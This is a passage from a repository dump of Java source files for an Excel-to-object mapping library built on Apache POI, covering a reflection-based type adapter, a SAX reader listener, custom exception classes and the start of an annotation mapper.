(type.isInterface()\n\t\t\t\t\t\t|| (type.getModifiers() & Modifier.ABSTRACT) > 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tfinal Field[] fields = type.getDeclaredFields();\n\t\t\t\tList<Field> tempConverterFields = new ArrayList<>();\n\t\t\t\tfor (int i = 0; i < fields.length; i++) {\n\t\t\t\t\tfinal Field field = fields[i];\n\n\t\t\t\t\tif (field.isEnumConstant()\n\t\t\t\t\t\t\t|| (field.getModifiers() & (Modifier.STATIC | Modifier.TRANSIENT)) > 0) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t// 应该不会出现\n\t\t\t\t\tif (field.isSynthetic()) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\ttempConverterFields.add(field);\n\n\t\t\t\t}\n\t\t\t\tConstructor<?> constructor;\n\t\t\t\ttry {\n\t\t\t\t\tconstructor = type.getDeclaredConstructor();\n\t\t\t\t} catch (NoSuchMethodException | SecurityException e) {\n\t\t\t\t\tthrow new IllegalEntityException(type,\n\t\t\t\t\t\t\t\"Gets the default constructor failed,the Objet must contains a  [no-args&public constructor] \",e);\n\t\t\t\t}\n\t\t\t\tTypeAdapterConverter typeAdapterConverter = getTypeAdapterConverter(\n\t\t\t\t\t\tconstructor, tempConverterFields);\n\t\t\t\ttypeTokenCache.put(type, typeAdapterConverter);\n\n\t\t\t} finally {\n\t\t\t\ttargetTypes.add(type);\n\t\t\t}\n\n\t\t}\n\n\t}\n\n\tprivate TypeAdapterConverter getTypeAdapterConverter(\n\t\t\tConstructor<?> constructor, List<Field> tempConverterFields) {\n\n\t\tTypeAdapterConverter adConverter = new TypeAdapterConverter<>(\n\t\t\t\tconstructor, tempConverterFields, localConverterHandler);\n\t\treturn adConverter;\n\t}\n\n\t/**\n\t * reade Class\n\t * \n\t * @author Wujun\n\t * \n\t * @date 2016-4-12 Description:\n\t */\n\tprivate class BingExcelReaderListener extends AbstractExcelReadListener {\n\n\t\tprivate final ReaderCondition[] conditions;\n\t\tprivate Class tagertClazz = null;\n\t\tprivate int startRow = 0;// start to read from first lines;\n\t\tprivate List<SheetVo> list;\n\t\tprivate SheetVo currentSheetVo;\n\n\t\tpublic BingExcelReaderListener(ReaderCondition[] conditions) {\n\t\t\tsuper();\n\t\t\tthis.conditions = conditions;\n\t\t\tClass[] arr = new Class[conditions.length];\n\t\t\tfor (int i = 0; i < conditions.length; i++) {\n\t\t\t\tarr[i] = conditions[i].getTargetClazz();\n\t\t\t}\n\t\t\tormMapper.processAnnotations(arr);\n\t\t}\n\n\t\t@Override\n\t\tpublic void optRow(int curRow, ListRow rowList) {\n\t\t\tif (curRow < startRow) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (tagertClazz != null) {\n\t\t\t\tTypeAdapterConverter<?> typeAdapter = typeTokenCache\n\t\t\t\t\t\t.get(tagertClazz);\n\t\t\t\tif (typeAdapter == null) {\n\t\t\t\t\tif (targetTypes.contains(tagertClazz)) {\n\t\t\t\t\t\tthrow new IllegalEntityException(tagertClazz, \"类型定义错误\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow new NullPointerException(\"没有对应的适配器，无法转换\");\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tObject object = typeAdapter.unmarshal(rowList, ormMapper);\n\t\t\t\t\tcurrentSheetVo.addObject(object);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic void startSheet(int sheetIndex, String name) {\n\n\t\t\ttagertClazz = null;\n\t\t\tstartRow = 0;\n\t\t\tfor (int i = 0; i < conditions.length; i++) {\n\t\t\t\tif (conditions[i].getSheetIndex() == sheetIndex) {\n\t\t\t\t\ttagertClazz = conditions[i].getTargetClazz();\n\t\t\t\t\tregisteAdapter(tagertClazz);\n\t\t\t\t\tstartRow = conditions[i].getStartRow();\n\t\t\t\t\tcurrentSheetVo = new SheetVo<>(sheetIndex, name);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic void endSheet(int sheetIndex, String name) {\n\t\t\tif (currentSheetVo != null) {\n\t\t\t\tif (list == null) {\n\t\t\t\t\tlist = Lists.newArrayList();\n\t\t\t\t}\n\t\t\t\tlist.add(currentSheetVo);\n\t\t\t\tcurrentSheetVo = null;\n\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic void endWorkBook() {\n\t\t\tif (list == null) {\n\t\t\t\tresultList = Collections.EMPTY_LIST;\n\t\t\t} else {\n\t\t\t\tresultList = this.list;\n\t\t\t}\n\t\t}\n\n\t}\n\n\tpublic static class SheetVo<E> {\n\t\tprivate int sheetIndex;\n\t\tprivate String sheetName;\n\t\tprivate List<E> list = new ArrayList<>();\n\n\t\tpublic SheetVo(int sheetIndex, String sheetName) {\n\t\t\tsuper();\n\t\t\tthis.sheetIndex = sheetIndex;\n\t\t\tthis.sheetName = sheetName;\n\t\t}\n\n\t\tpublic int getSheetIndex() {\n\t\t\treturn sheetIndex;\n\t\t}\n\n\t\tpublic String getSheetName() {\n\t\t\treturn sheetName;\n\t\t}\n\n\t\tpublic List<E> getObjectList() {\n\t\t\treturn list;\n\t\t}\n\n\t\tvoid addObject(E obj) {\n\t\t\tthis.list.add(obj);\n\t\t}\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/reflect/TypeAdapterConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.core.reflect;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.google.common.primitives.Primitives;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.HeaderReflectConverter;\nimport com.jun.plugin.poi.test.excel.converter.ModelAdapter;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.exception.IllegalEntityException;\nimport com.jun.plugin.poi.test.excel.exception.illegalValueException;\nimport com.jun.plugin.poi.test.excel.mapper.ExcelConverterMapperHandler;\nimport com.jun.plugin.poi.test.excel.mapper.ConversionMapper.FieldConverterMapper;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.excel.vo.OutValue.OutType;\n\n/**\n * @author Wujun\n *\n */\npublic class TypeAdapterConverter<T> implements ModelAdapter,\n\t\tHeaderReflectConverter {\n\tprivate final Constructor<T> constructor;\n\t/**\n\t * 名称和\n\t */\n\tprivate final Map<String, BoundField> boundFields;\n\tprivate final Class<T> clazz;\n\tprivate final ConverterHandler defaultLocalConverterHandler;\n\n\tpublic TypeAdapterConverter(Constructor<T> constructor,\n\t\t\tList<Field> tempConverterFields, ConverterHandler converterHandler) {\n\t\tMap<String, BoundField> boundFields = new HashMap<>();\n\t\tfor (Field field : tempConverterFields) {\n\t\t\tString name = field.getName();\n\t\t\tboundFields.put(name, new BoundField(field, name));\n\t\t}\n\n\t\tthis.constructor = constructor;\n\t\tthis.boundFields = boundFields;\n\t\tdefaultLocalConverterHandler = converterHandler;\n\t\tclazz = constructor.getDeclaringClass();\n\t}\n\n\t@Override\n\tpublic List<CellKV<String>> getHeader(ExcelConverterMapperHandler handler) {\n\t\tList<CellKV<String>> list = new ArrayList<>();\n\t\tfor (Map.Entry<String, BoundField> kv : boundFields.entrySet()) {\n\t\t\tFieldConverterMapper fieldConverterMapper = handler\n\t\t\t\t\t.getLocalFieldConverterMapper(clazz, kv.getKey());\n\t\t\t\tlist.add(new CellKV<String>(fieldConverterMapper.getIndex(),\n\t\t\t\t\t\tfieldConverterMapper.getAlias()));\n\t\t}\n\t\treturn list;\n\t}\n\n\t@Override\n\tpublic ListLine marshal(Object source, ExcelConverterMapperHandler handler) {\n\t\tListLine line = new ListLine();\n\t\tfor (Map.Entry<String, BoundField> kv : boundFields.entrySet()) {\n\t\t\tFieldConverterMapper fieldConverterMapper = handler\n\t\t\t\t\t.getLocalFieldConverterMapper(clazz, kv.getKey());\n\t\t\t\tBoundField boundField = kv.getValue();\n\t\t\t\tif (fieldConverterMapper.getFieldConverter() == null) {\n\n\t\t\t\t\tsetLocalConverter(fieldConverterMapper);\n\t\t\t\t}\n\n\t\t\t\tboundField.serializeValue(source, fieldConverterMapper, line);\n\t\t}\n\t\treturn line;\n\t}\n\n\t@Override\n\tpublic T unmarshal(ListRow source, ExcelConverterMapperHandler fieldHandler) {\n\t\tfinal Object obj;\n\t\ttry {\n\t\t\tobj = constructor.newInstance();\n\t\t} catch (InstantiationException | IllegalAccessException\n\t\t\t\t| IllegalArgumentException | InvocationTargetException e) {\n\t\t\tthrow new IllegalEntityException(constructor.getName() + \"构造实例失败\",\n\t\t\t\t\te);\n\t\t}\n\t\tString[] fullArray = source.toFullArray();\n\t\tint length = fullArray.length;\n\n\t\tif (length > 0) {\n\t\t\tfor (Map.Entry<String, BoundField> kv : boundFields.entrySet()) {\n\t\t\t\tFieldConverterMapper converterMapper = fieldHandler\n\t\t\t\t\t\t.getLocalFieldConverterMapper(clazz, kv.getKey());\n\t\t\t\tBoundField boundField = kv.getValue();\n\t\t\t\tif (converterMapper.getFieldConverter() == null) {\n\n\t\t\t\t\tsetLocalConverter(converterMapper);\n\t\t\t\t}\n\n\t\t\t\tint index = converterMapper.getIndex();\n\t\t\t\tString fieldValue = length > index ? fullArray[index] : null;\n\t\t\t\tboundField.initializeValue(obj, fieldValue, converterMapper);\n\t\t\t}\n\t\t}\n\t\treturn (T) obj;\n\t}\n\n\tprivate void setLocalConverter(FieldConverterMapper converterMapper) {\n\t\t// it is not good for wrap clazz in this place\n\t\tClass<?> keyFieldType = converterMapper.isPrimitive() ? Primitives\n\t\t\t\t.wrap(converterMapper.getFieldClass()) : converterMapper\n\t\t\t\t.getFieldClass();\n\t\tFieldValueConverter fieldValueConverter = defaultLocalConverterHandler\n\t\t\t\t.getLocalConverter(keyFieldType);\n\n\t\tif (fieldValueConverter == null) {\n\t\t\tthrow new IllegalEntityException(clazz,\n\t\t\t\t\t\"can find the converter for fieldType [\"\n\t\t\t\t\t\t\t+ converterMapper.getFieldClass() + \"]\");\n\t\t}\n\t\tconverterMapper.setFieldConverter(fieldValueConverter);\n\n\t}\n\n\tprivate class BoundField {\n\t\tprivate final String name;\n\t\tprivate final Field field;\n\n\t\tpublic BoundField(Field field, String name) {\n\t\t\tthis.field = field;\n\t\t\tthis.name = name;\n\t\t}\n\n\t\t/**\n\t\t * Get listline from object\n\t\t * \n\t\t * @return\n\t\t */\n\t\tprotected ListLine serializeValue(Object entity,\n\t\t\t\tFieldConverterMapper converterMapper, ListLine line) {\n\t\t\tif (entity == null) {\n\t\t\t\treturn line;\n\t\t\t} else {\n\t\t\t\tif (converterMapper == null) {\n\t\t\t\t\tthrow new NullPointerException(\"the converterMapper for [\"\n\t\t\t\t\t\t\t+ name + \"] is null\");\n\t\t\t\t} else {\n\t\t\t\t\tFieldValueConverter converter = converterMapper\n\t\t\t\t\t\t\t.getFieldConverter();\n\t\t\t\t\tif (converter == null) {\n\t\t\t\t\t\tthrow new NullPointerException(\"the converter for [\"\n\t\t\t\t\t\t\t\t+ name + \"] is null\");\n\t\t\t\t\t}\n\t\t\t\t\tboolean canConvert = converter.canConvert(converterMapper\n\t\t\t\t\t\t\t.getFieldClass());\n\t\t\t\t\tif (!canConvert) {\n\t\t\t\t\t\tthrow new ConversionException(\n\t\t\t\t\t\t\t\t\"the selected converter [\"\n\t\t\t\t\t\t\t\t\t\t+ converter.getClass()\n\t\t\t\t\t\t\t\t\t\t+ \"] cannot handle type [\"\n\t\t\t\t\t\t\t\t\t\t+ converterMapper.getFieldClass() + \"]\");\n\t\t\t\t\t}\n\t\t\t\t\tObject obj;\n\t\t\t\t\ttry {\n\t\t\t\t\t\tobj = field.get(entity);\n\t\t\t\t\t} catch (IllegalArgumentException | IllegalAccessException e) {\n\t\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\t\"It happened an error when get the value of the Entity !\",\n\t\t\t\t\t\t\t\te);\n\t\t\t\t\t}\n\t\t\t\t\tOutValue outValue = converter.toObject(obj,\n\t\t\t\t\t\t\tdefaultLocalConverterHandler);\n\t\t\t\t\tif (outValue != null) {\n\t\t\t\t\t\tif (outValue.getOutType().equals(OutType.DATE)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(),\n\t\t\t\t\t\t\t\t\t(Date) outValue.getValue());\n\t\t\t\t\t\t} else if (outValue.getOutType().equals(OutType.DOUBLE)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(),\n\t\t\t\t\t\t\t\t\t(double) outValue.getValue());\n\t\t\t\t\t\t} else if (outValue.getOutType()\n\t\t\t\t\t\t\t\t.equals(OutType.INTEGER)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(),\n\t\t\t\t\t\t\t\t\t(int) outValue.getValue());\n\t\t\t\t\t\t} else if (outValue.getOutType().equals(OutType.LONG)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(),\n\t\t\t\t\t\t\t\t\t(long) outValue.getValue());\n\t\t\t\t\t\t} else if (outValue.getOutType().equals(OutType.STRING)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(), outValue\n\t\t\t\t\t\t\t\t\t.getValue().toString());\n\t\t\t\t\t\t} else if (outValue.getOutType().equals(\n\t\t\t\t\t\t\t\tOutType.UNDEFINED)) {\n\t\t\t\t\t\t\tline.addValue(converterMapper.getIndex(), outValue\n\t\t\t\t\t\t\t\t\t.getValue().toString());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn line;\n\t\t\t}\n\t\t}\n\n\t\tprotected Object initializeValue(Object obj, String value,\n\t\t\t\tFieldConverterMapper converterMapper) {\n\t\t\t// field.set(obj, value);\n\t\t\tif (value != null) {\n\t\t\t\tif (converterMapper != null) {\n\t\t\t\t\tFieldValueConverter converter = converterMapper\n\t\t\t\t\t\t\t.getFieldConverter();\n\t\t\t\t\tif (converter == null) {\n\t\t\t\t\t\tthrow new NullPointerException(\"the converter for [\"\n\t\t\t\t\t\t\t\t+ name + \"] is null\");\n\t\t\t\t\t}\n\t\t\t\t\tboolean canConvert = converter.canConvert(converterMapper\n\t\t\t\t\t\t\t.getFieldClass());\n\t\t\t\t\tif (!canConvert) {\n\t\t\t\t\t\tthrow new ConversionException(\n\t\t\t\t\t\t\t\t\"the selected converter [\"\n\t\t\t\t\t\t\t\t\t\t+ converter.getClass()\n\t\t\t\t\t\t\t\t\t\t+ \"] cannot handle type [\"\n\t\t\t\t\t\t\t\t\t\t+ converterMapper.getFieldClass() + \"]\");\n\t\t\t\t\t}\n\n\t\t\t\t\tObject fieldValue = converter.fromString(value,\n\t\t\t\t\t\t\tdefaultLocalConverterHandler,\n\t\t\t\t\t\t\tconverterMapper.getFieldClass());\n\t\t\t\t\tif (fieldValue != null) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tfield.set(obj, fieldValue);\n\t\t\t\t\t\t} catch (IllegalArgumentException\n\t\t\t\t\t\t\t\t| IllegalAccessException e) {\n\t\t\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\t\t\"It happened an error when set the value of the Entity !\",\n\t\t\t\t\t\t\t\t\te);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tthrow new NullPointerException(\"the converterMapper for [\"\n\t\t\t\t\t\t\t+ name + \"] is null\");\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tif (converterMapper.isReadRequired()) {\n\t\t\t\t\tthrow new illegalValueException(\n\t\t\t\t\t\t\t\"  field in [\"+ converterMapper.getContainer()\n\t\t\t\t\t\t\t+ \"] indexed \"+converterMapper.getIndex()+\" is required\");\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn obj;\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/BingSaxReadStopException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n\nimport org.xml.sax.SAXException;\n\n/**\n * @author Wujun\n *\n * @date 2016-2-2\n * Description:  this only a mark exception ，when you want to stop the sax\n * \n */\npublic class BingSaxReadStopException  extends SAXException {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\t@Override\n\tpublic String getMessage() {\n\t\treturn super.getMessage();\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn super.toString();\n\t}\n\n\tpublic BingSaxReadStopException(String message) {\n\t\tsuper(message);\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/ConversionException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n/**  \n * 创建时间：2015-12-16下午6:19:12  \n * 项目名称：excel  \n * @author Wujun\n * @version 1.0   \n * @since JDK 1.7\n * 文件名称：ConvertorException.java  \n * 类说明：  \n */\npublic class ConversionException extends RuntimeException {\n\n\tpublic ConversionException() {\n\t\tsuper();\n\t}\n\n\tpublic ConversionException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic ConversionException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic ConversionException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/IllegalCellConfigException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n\npublic class IllegalCellConfigException extends RuntimeException {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic IllegalCellConfigException() {\n\t\tsuper();\n\t}\n\n\tpublic IllegalCellConfigException(String message, Throwable cause,\n\t\t\tboolean enableSuppression, boolean writableStackTrace) {\n\t\tsuper(message, cause, enableSuppression, writableStackTrace);\n\t}\n\n\tpublic IllegalCellConfigException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic IllegalCellConfigException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic IllegalCellConfigException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/IllegalEntityException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n\n/**\n * 当用户定义model不符合需要时候抛出异常\n * @author Wujun\n * @time \n */\npublic class IllegalEntityException extends RuntimeException {\n\t@Override\n\tpublic String getMessage() {\n\t\treturn super.getMessage();\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn super.toString();\n\t}\n\n\tpublic IllegalEntityException(Class<?> clz,String message) {\n\t\tsuper(\"The model entity [\"+clz.getName()+\"]：\"+message);\n\t\t\n\t}\n\n\tpublic IllegalEntityException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\tpublic IllegalEntityException(Class clazz,String message, Throwable cause) {\n\t\tsuper(\"The model entity [\"+clazz.getName()+\"]：\"+message,cause);\n\t}\n\n\tpublic IllegalEntityException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic IllegalEntityException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/InitializationException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n\n/**\n * @author Wujun\n *\n */\npublic class InitializationException extends RuntimeException {\n\n\tpublic InitializationException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic InitializationException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic InitializationException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/MissingCellConfigException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n\n/**\n * 当用户定义实体缺少CellConfig注解时候抛出\n * @author Wujun\n *\n */\npublic class MissingCellConfigException extends IllegalEntityException {\n\n\n\n\tpublic MissingCellConfigException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic MissingCellConfigException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic MissingCellConfigException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/exception/illegalValueException.java",
    "content": "package com.jun.plugin.poi.test.excel.exception;\n/**  \n * 创建时间：2015-12-15下午3:52:43  \n * 项目名称：excel  \n * @author Wujun\n * @version 1.0   \n * @since JDK 1.7\n * 文件名称：ErrorValueException.java  \n * 类说明：  \n */\npublic class illegalValueException extends RuntimeException {\n\n\t/**\n\t * serialVersionUID\n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic illegalValueException() {\n\t\tsuper(\"单元格数值非法\");\n\t}\n\n\tpublic illegalValueException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic illegalValueException(String message) {\n\t\tsuper(message);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/mapper/AnnotationMapper.java",
    "content": "package com.jun.plugin.poi.test.excel.mapper;\n\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\n\nimport com.google.common.base.Strings;\nimport com.google.common.cache.Cache;\nimport com.google.common.cache.CacheBuilder;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.converter.ConverterMatcher;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.exception.IllegalCellConfigException;\nimport com.jun.plugin.poi.test.excel.exception.InitializationException;\nimport com.jun.plugin.poi.test.excel.exception.MissingCellConfigException;\nimport com.jun.plugin.poi.test.excel.mapper.ConversionMapper.FieldConverterMapper;\nimport com.jun.plugin.poi.test.utils.ReflectDependencyFactory;\n\n/**\n * 创建时间：2015-12-11下午8:33:01 项目名称：excel\n * \n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：AnnotationMapper.java 类说明：\n */\npublic class AnnotationMapper implements ExcelConverterMapperHandler {\n\n\t// 属性转换器的缓存\n\tprivate Cache<Class<?>, Map<List<Object>, FieldValueConverter>> converterCache = null;\n\tprivate  ConversionMapper objConversionMapper = new ConversionMapper();\n\tprivate final Set<Class<?>> annotatedTypes = Collections\n\t\t\t.synchronizedSet(new HashSet<Class<?>>());\n\n\t// private transient Object[] arguments;\n\n\tpublic AnnotationMapper() {\n\t\tconverterCache = CacheBuilder.newBuilder().maximumSize(500)\n\t\t\t\t.expireAfterAccess(2, TimeUnit.MINUTES).build();\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see\n\t * com.bing.excel.mapper.OrmMapper#processAnnotations(java.lang.Class[])\n\t */\n\t@Override\n\tpublic void processAnnotations(final Class[] initialTypes) {\n\t\tif (initialTypes == null || initialTypes.length == 0) {\n\t\t\treturn;\n\t\t}\n\n\t\tfinal Set<Class<?>> types = new UnprocessedTypesSet();\n\t\tfor (final Class initialType : initialTypes) {\n\t\t\ttypes.add(initialType);\n\t\t}\n\t\tprocessTypes(types);\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see com.bing.excel.mapper.OrmMapper#processAnnotations(java.lang.Class)\n\t */\n\t@Override\n\tpublic void processAnnotations(final Class initialType) {\n\t\tif (initialType == null) {\n\t\t\treturn;\n\t\t}\n\n\t\tfinal Set<Class<?>> types = new UnprocessedTypesSet();\n\t\ttypes.add(initialType);\n\t\tprocessTypes(types);\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see com.bing.excel.mapper.OrmMapper#getLocalConverter(java.lang.Class,\n\t * java.lang.String)\n\t */\n\n\t@Override\n\tpublic FieldValueConverter getLocalConverter(Class definedIn,\n\t\t\tString fieldName) {\n\n\t\treturn objConversionMapper.getLocalConverter(definedIn, fieldName);\n\t}\n\n\t@Override\n\tpublic FieldConverterMapper getLocalFieldConverterMapper(Class definedIn,\n\t\t\tString fieldName) {\n\n\t\treturn objConversionMapper.getLocalConverterMapper(definedIn, fieldName);\n\t}\n\n\t\n\n\t@Override\n\tpublic String getModelName(Class<?> key) {\n\t\treturn objConversionMapper.getModelName(key);\n\t}\n\n\tprivate void processTypes(final Set<Class<?>> types) {\n\n\t\twhile (!types.isEmpty()) {\n\t\t\tIterator<Class<?>> iterator = types.iterator();\n\t\t\tfinal Class<?> type = iterator.next();\n\t\t\titerator.remove();\n\t\t\tsynchronized (type) {\n\t\t\t\tif (annotatedTypes.contains(type)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\t// 转换的类型不可能对应的是基本类型\n\t\t\t\t\tif (type.isPrimitive()) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t// 目前先不考虑model的接口继承问题 TODO\n\t\t\t\t\tif (type.isInterface()\n\t\t\t\t\t\t\t|| (type.getModifiers() & Modifier.ABSTRACT) > 0) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tfinal Field[] fields = type.getDeclaredFields();\n\t\t\t\t\tfor (int i = 0; i < fields.length; i++) {\n\t\t\t\t\t\tfinal Field field = fields[i];\n\n\t\t\t\t\t\tif (field.isEnumConstant()\n\t\t\t\t\t\t\t\t|| (field.getModifiers() & (Modifier.STATIC | Modifier.TRANSIENT)) > 0) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// 应该不会出现\n\t\t\t\t\t\tif (field.isSynthetic()) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\taddMapper(type,field);\n\t\t\t\t\t}\n\n\t\t\t\t} finally {\n\t\t\t\t\tannotatedTypes.add(type);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * <p>\n\t * Title: addConvertor\n\t * </p>\n\t * <p>\n\t * Description:\n\t * </p>\n\t * \n\t * @param key\n\t * @param cls\n\t */\n\tprivate void addMapper(Class<?>  clazz,Field field) {\n\t\tCellConfig cellConfig = field.getAnnotation(CellConfig.class);\n\t\tBingConvertor bingConvertor = field.getAnnotation(BingConvertor.class);\n\t\tint index;\n\t\tString alias;\n\t\tboolean readRequired;\n\t\tif (cellConfig == null) {\n\t\t\tthrow new MissingCellConfigException(\"[\"+clazz+\"#\"+field.getName()+\"]Missing CellConfig annotation\");\n\t\t} else {\n\t\t\tindex = cellConfig.index();\n\t\t\t//omitOutput=cellConfig.omitOutput();\n\t\t\talias=cellConfig.aliasName();\n\t\t\treadRequired=cellConfig.readRequired();\n\t\t\tif(Strings.isNullOrEmpty(alias)){\n\t\t\t\talias=field.getName();\n\t\t\t}\n\t\t\tif (index < 0) {\n\t\t\t\tthrow new IllegalCellConfigException(\"field[\" + field.getName()\n\t\t\t\t\t\t+ \"] has an error cellConfig,illegal index\");\n\t\t\t}\n\t\t}\n\t\tFieldValueConverter converter = null;\n\t\tif (bingConvertor != null) {\n\t\t\tClass<? extends FieldValueConverter> value = bingConvertor.value();\n\t\t\tif (value != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconverter = cacheConverter(bingConvertor, field.getType());\n\t\t\t\t} catch (ExecutionException e) {\n\t\t\t\t\tthrow new InitializationException(\"No \" + value\n\t\t\t\t\t\t\t+ \" available\");\n\t\t\t\t}\n\t\t\t} \n\t\t} \n\t\tobjConversionMapper.registerLocalConverter(clazz,\n\t\t\t\tfield.getName(), index,alias, field.getType(),readRequired, converter);\n\t}\n\n\tprivate FieldValueConverter cacheConverter(final BingConvertor annotation,\n\t\t\tfinal Class targetType) throws ExecutionException {\n\t\tFieldValueConverter result = null;\n\t\tfinal Object[] args;\n\t\tfinal List<Object> parameter = new ArrayList<Object>();\n\n\t\tfinal List<Object> arrays = new ArrayList<Object>();\n\t\tarrays.add(annotation.booleans());\n\t\tarrays.add(annotation.bytes());\n\t\tarrays.add(annotation.chars());\n\t\tarrays.add(annotation.doubles());\n\t\tarrays.add(annotation.floats());\n\t\tarrays.add(annotation.ints());\n\t\tarrays.add(annotation.longs());\n\t\tarrays.add(annotation.shorts());\n\t\tarrays.add(annotation.strings());\n\t\tarrays.add(annotation.types());\n\t\tfor (Object array : arrays) {\n\t\t\tif (array != null) {\n\t\t\t\tint length = Array.getLength(array);\n\t\t\t\tfor (int 